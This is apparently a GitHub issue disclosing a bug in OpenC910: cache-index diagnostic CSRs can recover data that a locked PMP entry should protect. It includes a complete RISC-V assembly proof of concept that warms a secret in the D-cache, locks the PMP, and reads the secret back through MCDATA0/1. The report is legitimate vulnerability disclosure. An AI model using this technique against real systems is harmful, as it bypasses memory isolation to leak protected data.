Skip to content

Cache-index reads can recover data after locked PMP blocks normal loads #58

Description

@jimmymtest

Summary

I found a bug in OpenC910's machine cache-index read CSRs (MCINDEX, MCINS, MCDATA0/1). After locked PMP blocks normal loads from a physical address, cache diagnostic reads should not expose that protected data. However, OpenC910 can still recover the cached line through MCDATA0/1.

The provided test case is a locked M-mode confidentiality leak:

  • write a secret to 0x60080
  • read it once so the line is resident in D-cache
  • install a locked no-access NAPOT PMP entry on the page
  • confirm a normal M-mode load from the address raises mcause = 5
  • scan D-cache data arrays through MCINDEX/MCINS
  • read the secret back through MCDATA0/1

Expected result:

  • after locked PMP denies ordinary loads, cache diagnostic read should not expose protected data

Actual result on OpenC910:

  • the secret is recovered through MCDATA0/1

Testcase

The testcase configures:

pmpaddr0 = 0x181ff
pmpcfg0  = 0x98  # L=1, A=NAPOT, R/W/X=0
target   = 0x60080

It first executes a normal load:

ld    t3, 0(t0)

This load traps as expected. Then it scans D-cache data array way/index:

csrw  0x7d3, t0   # MCINDEX
li    t0, 1
csrw  0x7d2, t0   # MCINS
csrr  t3, 0x7d4   # MCDATA0
csrr  t3, 0x7d5   # MCDATA1

If the bug is present, the testcase prints CTSL.

Full Test Case:

.equ CSR_MCINS,     0x7d2
.equ CSR_MCINDEX,   0x7d3
.equ CSR_MCDATA0,   0x7d4
.equ CSR_MCDATA1,   0x7d5

.equ TARGET_ADDR,   0x60080
.equ TARGET_NAPOT,  0x181ff
.equ PMP_NO_L_NAPOT,0x98
.equ SECRET,        0x5ac35ac3d00df00d
.equ CAUSE_LD_AF,   5

#ifndef INVALIDATE_BEFORE_LOCK
#define INVALIDATE_BEFORE_LOCK 0
#endif

.text
.align 6
.global main
main:
  la    t0, trap_handler
  csrw  mtvec, t0

  li    s7, 0
  li    t0, TARGET_ADDR
  li    t1, SECRET
  sd    t1, 0(t0)
  ld    t2, 0(t0)
  bne   t2, t1, setup_failed

#if INVALIDATE_BEFORE_LOCK
  # Negative control: remove the warmed line before PMP is locked. The later
  # cache-index scan should not observe SECRET if the leak depends on cache
  # residency instead of stale MCDATA CSR contents.
  li    t0, TARGET_ADDR
  .word 0x0262800b           # dcache.iva t0
  fence
#endif

  li    t0, TARGET_NAPOT
  csrw  pmpaddr0, t0
  li    t0, PMP_NO_L_NAPOT
  csrw  pmpcfg0, t0
  fence

  csrr  t0, pmpcfg0
  andi  t0, t0, 0xff
  li    t1, PMP_NO_L_NAPOT
  bne   t0, t1, setup_failed

  li    a0, 67
  jal   ra, oracle_putc

direct_load_probe:
  li    t0, TARGET_ADDR
faulting_ld:
  ld    t3, 0(t0)

  li    a0, 71
  jal   ra, oracle_putc
  j     done

after_direct_load:
  beqz  s7, setup_failed

  li    a0, 83
  jal   ra, oracle_putc

  li    s0, 0              # way
way_loop:
  li    s1, 0              # index bit4 variant
idx_loop:
  li    t0, 3
  slli  t0, t0, 28         # rid=3: dcache data
  slli  t1, s0, 21
  or    t0, t0, t1
  li    t1, TARGET_ADDR
  beqz  s1, 1f
  xori  t1, t1, 0x10
1:
  li    t2, 0x1fffff
  and   t1, t1, t2
  or    t0, t0, t1
  csrw  CSR_MCINDEX, t0
  li    t0, 1
  csrw  CSR_MCINS, t0

  # Wait long enough for cdata0/1 to latch if the cache-read request returns.
  .rept 64
  nop
  .endr

  csrr  t3, CSR_MCDATA0
  li    t4, SECRET
  beq   t3, t4, leaked
  csrr  t3, CSR_MCDATA1
  beq   t3, t4, leaked

  addi  s1, s1, 1
  li    t0, 2
  blt   s1, t0, idx_loop
  addi  s0, s0, 1
  li    t0, 2
  blt   s0, t0, way_loop

  li    a0, 78
  jal   ra, oracle_putc
  j     done

leaked:
  li    a0, 76
  jal   ra, oracle_putc
  j     done

trap_handler:
  csrr  t0, mcause
  li    t1, CAUSE_LD_AF
  bne   t0, t1, wrong_trap
  csrr  t0, mepc
  la    t1, faulting_ld
  bne   t0, t1, wrong_trap
  li    s7, 1
  li    t3, UART_MMIO_ADDR
  li    t4, 84
  sw    t4, 0(t3)
  la    t0, after_direct_load
  csrw  mepc, t0
  mret

wrong_trap:
  li    t3, UART_MMIO_ADDR
  li    t4, 87
  sw    t4, 0(t3)
1:
  j     1b

setup_failed:
  li    a0, 70
  jal   ra, oracle_putc

done:
1:
  j     1b

appendix.zip

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions